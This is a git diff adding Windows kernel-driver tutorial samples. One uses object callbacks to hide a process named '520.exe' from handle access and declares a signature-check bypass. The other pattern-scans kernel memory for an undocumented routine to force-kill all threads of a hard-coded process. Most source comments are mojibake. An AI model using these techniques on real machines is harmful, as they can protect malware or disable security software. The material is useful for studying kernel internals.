(!NT_SUCCESS(status)) + { + DbgPrint("ObRegisterCallbacks Error[0x%X]\n", status); + return status; + } + + return status; +} + + +// ̻߳ص +NTSTATUS SetThreadCallbacks() +{ + NTSTATUS status = STATUS_SUCCESS; + OB_CALLBACK_REGISTRATION obCallbackReg = { 0 }; + OB_OPERATION_REGISTRATION obOperationReg = { 0 }; + + RtlZeroMemory(&obCallbackReg, sizeof(OB_CALLBACK_REGISTRATION)); + RtlZeroMemory(&obOperationReg, sizeof(OB_OPERATION_REGISTRATION)); + + // OB_CALLBACK_REGISTRATION + obCallbackReg.Version = ObGetFilterVersion(); + obCallbackReg.OperationRegistrationCount = 1; + obCallbackReg.RegistrationContext = NULL; + RtlInitUnicodeString(&obCallbackReg.Altitude, L"321001"); + obCallbackReg.OperationRegistration = &obOperationReg; + + // OB_OPERATION_REGISTRATION + // Thread Process + obOperationReg.ObjectType = PsThreadType; + obOperationReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; + // Thread Process + obOperationReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)(&ThreadPreCall); + + // עص + status = ObRegisterCallbacks(&obCallbackReg, &g_obThreadHandle); + if (!NT_SUCCESS(status)) + { + DbgPrint("ObRegisterCallbacks Error[0x%X]\n", status); + return status; + } + + return status; +} + + +// ɾ̻ص +VOID RemoveProcessCallbacks() +{ + // жػص + if (NULL != g_obProcessHandle) + { + ObUnRegisterCallbacks(g_obProcessHandle); + g_obProcessHandle = NULL; + } +} + + +// ɾ̻߳ص +VOID RemoveThreadCallbacks() +{ + // жػص + if (NULL != g_obThreadHandle) + { + ObUnRegisterCallbacks(g_obThreadHandle); + g_obThreadHandle = NULL; + } +} + + +// ̻ص +OB_PREOP_CALLBACK_STATUS ProcessPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo) +{ + PEPROCESS pEProcess = NULL; + + // ж϶ + if (*PsProcessType != pObPreOperationInfo->ObjectType) + { + return OB_PREOP_SUCCESS; + } + // ȡ̽ṹ + pEProcess = (PEPROCESS)pObPreOperationInfo->Object; + // жǷбPID, , ܾ + if (IsProtectProcess(pEProcess)) + { + // : + if (OB_OPERATION_HANDLE_CREATE == pObPreOperationInfo->Operation) + { + if (1 == (1 & pObPreOperationInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess)) + { + pObPreOperationInfo->Parameters->CreateHandleInformation.DesiredAccess = 0; + } + } + // : ƾ + else if (OB_OPERATION_HANDLE_DUPLICATE == pObPreOperationInfo->Operation) + { + if (1 == (1 & pObPreOperationInfo->Parameters->DuplicateHandleInformation.OriginalDesiredAccess)) + { + pObPreOperationInfo->Parameters->DuplicateHandleInformation.DesiredAccess = 0; + } + } + } + + return OB_PREOP_SUCCESS; +} + + +// ̻߳ص +OB_PREOP_CALLBACK_STATUS ThreadPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo) +{ + PEPROCESS pEProcess = NULL; + + // ж϶ + if (*PsThreadType != pObPreOperationInfo->ObjectType) + { + return OB_PREOP_SUCCESS; + } + // ȡ̶߳ӦĽ PEPROCESS + pEProcess = IoThreadToProcess((PETHREAD)pObPreOperationInfo->Object); + // жǷбPID, , ܾ߳ + if (IsProtectProcess(pEProcess)) + { + // : + if (OB_OPERATION_HANDLE_CREATE == pObPreOperationInfo->Operation) + { + if (1 == (1 & pObPreOperationInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess)) + { + pObPreOperationInfo->Parameters->CreateHandleInformation.DesiredAccess = 0; + } + } + // : ƾ + else if (OB_OPERATION_HANDLE_DUPLICATE == pObPreOperationInfo->Operation) + { + if (1 == (1 & pObPreOperationInfo->Parameters->DuplicateHandleInformation.OriginalDesiredAccess)) + { + pObPreOperationInfo->Parameters->DuplicateHandleInformation.DesiredAccess = 0; + } + } + } + + return OB_PREOP_SUCCESS; +} + + +// жǷΪ +BOOLEAN IsProtectProcess(PEPROCESS pEProcess) +{ + PUCHAR pProcessName = PsGetProcessImageFileName(pEProcess); + if (NULL != pProcessName) + { + if (0 == _stricmp(pProcessName, "520.exe")) + { + DbgPrint("[Protect]"); + return TRUE; + } + + DbgPrint("ProcessName=%s\n", pProcessName); + } + return FALSE; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.h" new file mode 100644 index 0000000..cb786a4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.h" @@ -0,0 +1,45 @@ +#ifndef _NOTIFY_ROUTINE_H_ +#define _NOTIFY_ROUTINE_H_ + + +#include +#include + + +// δ +PUCHAR PsGetProcessImageFileName(PEPROCESS pEProcess); + + +// ̷ʽƹǩ +BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject); + +// ý̻ص +NTSTATUS SetProcessCallbacks(); + +// ̻߳ص +NTSTATUS SetThreadCallbacks(); + +// ɾ̻ص +VOID RemoveProcessCallbacks(); + +// ɾ̻߳ص +VOID RemoveThreadCallbacks(); + +// ̻ص +OB_PREOP_CALLBACK_STATUS ProcessPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo); + +// ̻߳ص +OB_PREOP_CALLBACK_STATUS ThreadPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo); + +// жǷΪ +BOOLEAN IsProtectProcess(PEPROCESS pEProcess); + + +// ̻ص +HANDLE g_obProcessHandle; + +// ̻߳ص +HANDLE g_obThreadHandle; + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.inf" new file mode 100644 index 0000000..d0689ce --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.inf" @@ -0,0 +1,32 @@ +; +; ObRegisterCallbacks_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="ObRegisterCallbacks_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj" new file mode 100644 index 0000000..b5cb444 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj" @@ -0,0 +1,265 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {9F9385B5-73EB-467B-823D-72AB5CDB188D} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + ObRegisterCallbacks_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + /INTEGRITYCHECK %(AdditionalOptions) + + + + + Level3 + + + + + false + + + false + /INTEGRITYCHECK %(AdditionalOptions) + + + + + Level3 + + + + + false + + + false + /INTEGRITYCHECK %(AdditionalOptions) + + + + + Level3 + + + + + false + + + false + /INTEGRITYCHECK %(AdditionalOptions) + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.filters" new file mode 100644 index 0000000..627e3d5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.sln" new file mode 100644 index 0000000..75537b8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ForceKillProcess_Test", "ForceKillProcess_Test\ForceKillProcess_Test.vcxproj", "{D46946DD-E024-4E20-8E17-877ED20D1B2E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {D46946DD-E024-4E20-8E17-877ED20D1B2E}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.v12.suo" new file mode 100644 index 0000000..7036110 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.c" new file mode 100644 index 0000000..48da4eb --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.c" @@ -0,0 +1,39 @@ +#include "ForceKillProcess.h" +#include "Driver.h" + + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ǿƽָ + ForceKillProcess((HANDLE)2848); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.c" new file mode 100644 index 0000000..d95aec8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.c" @@ -0,0 +1,207 @@ +#include "ForceKillProcess.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ǿƽָ +NTSTATUS ForceKillProcess(HANDLE hProcessId) +{ + PVOID pPspTerminateThreadByPointerAddress = NULL; + PEPROCESS pEProcess = NULL; + PETHREAD pEThread = NULL; + PEPROCESS pThreadEProcess = NULL; + NTSTATUS status = STATUS_SUCCESS; + ULONG i = 0; + +#ifdef _WIN64 + // 64 λ + typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate); +#else + // 32 λ + typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate); +#endif + + // ȡ PspTerminateThreadByPointer ַ + pPspTerminateThreadByPointerAddress = GetPspLoadImageNotifyRoutine(); + if (NULL == pPspTerminateThreadByPointerAddress) + { + ShowError("GetPspLoadImageNotifyRoutine", 0); + return FALSE; + } + // ȡ̵Ľ̽ṹEPROCESS + status = PsLookupProcessByProcessId(hProcessId, &pEProcess); + if (!NT_SUCCESS(status)) + { + ShowError("PsLookupProcessByProcessId", status); + return status; + } + // ߳, ̵ָ߳ + for (i = 4; i < 0x80000; i = i + 4) + { + status = PsLookupThreadByThreadId((HANDLE)i, &pEThread); + if (NT_SUCCESS(status)) + { + // ȡ̶߳ӦĽ̽ṹ + pThreadEProcess = PsGetThreadProcess(pEThread); + // ̵ָ߳ + if (pEProcess == pThreadEProcess) + { + ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1); + DbgPrint("PspTerminateThreadByPointer Thread:%d\n", i); + } + // Lookup...DereferenceijЩʱ + ObDereferenceObject(pEThread); + } + } + // Lookup...DereferenceijЩʱ + ObDereferenceObject(pEProcess); + + return status; +} + + +// ȡ PspTerminateThreadByPointer ַ +PVOID GetPspLoadImageNotifyRoutine() +{ + PVOID pPspTerminateThreadByPointerAddress = NULL; + RTL_OSVERSIONINFOW osInfo = { 0 }; + UCHAR pSpecialData[50] = { 0 }; + ULONG ulSpecialDataSize = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // E8 + pSpecialData[0] = 0xE8; + ulSpecialDataSize = 1; +#else + // 32 λ + // E8 + pSpecialData[0] = 0xE8; + ulSpecialDataSize = 1; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // E9 + pSpecialData[0] = 0xE9; + ulSpecialDataSize = 1; +#else + // 32 λ + // E8 + pSpecialData[0] = 0xE8; + ulSpecialDataSize = 1; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // E9 + pSpecialData[0] = 0xE9; + ulSpecialDataSize = 1; +#else + // 32 λ + // E8 + pSpecialData[0] = 0xE8; + ulSpecialDataSize = 1; +#endif + } + + // ȡַ + pPspTerminateThreadByPointerAddress = SearchPspTerminateThreadByPointer(pSpecialData, ulSpecialDataSize); + return pPspTerminateThreadByPointerAddress; +} + + +// ȡ PspTerminateThreadByPointer ַ +PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize) +{ + UNICODE_STRING ustrFuncName; + PVOID pAddress = NULL; + LONG lOffset = 0; + PVOID pPsTerminateSystemThread = NULL; + PVOID pPspTerminateThreadByPointer = NULL; + + // Ȼȡ PsTerminateSystemThread ַ + RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread"); + pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName); + if (NULL == pPsTerminateSystemThread) + { + ShowError("MmGetSystemRoutineAddress", 0); + return pPspTerminateThreadByPointer; + } + + // Ȼ, PspTerminateThreadByPointer ַ + pAddress = SearchMemory(pPsTerminateSystemThread, + (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF), + pSpecialData, ulSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory", 0); + return pPspTerminateThreadByPointer; + } + + // Ȼȡƫ, ټַ + lOffset = *(PLONG)pAddress; + pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); + + return pPspTerminateThreadByPointer; +} + + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) +{ + PVOID pAddress = NULL; + PUCHAR i = NULL; + ULONG m = 0; + + // ɨڴ + for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) + { + // ж + for (m = 0; m < ulMemoryDataSize; m++) + { + if (*(PUCHAR)(i + m) != pMemoryData[m]) + { + break; + } + } + // жǷҵĵַ + if (m >= ulMemoryDataSize) + { + // ҵλ, ȡһַ + pAddress = (PVOID)(i + ulMemoryDataSize); + break; + } + } + + return pAddress; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.h" new file mode 100644 index 0000000..62d31c5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\274\272\345\210\266\347\273\223\346\235\237\350\277\233\347\250\213/ForceKillProcess_Test/ForceKillProcess_Test/ForceKillProcess.h" @@ -0,0 +1,21 @@ +#ifndef _FORCE_KILL_PROCESS_H_ +#define _FORCE_KILL_PROCESS_H_ + + +#include + + +// ǿƽָ +NTSTATUS ForceKillProcess(HANDLE hProcessId); + +// ȡ PspTerminateThreadByPointer ַ +PVOID GetPspLoadImageNotifyRoutine(); + +// ȡ PspTerminateThreadByPointer ַ +PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize); + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize); + + +#endif 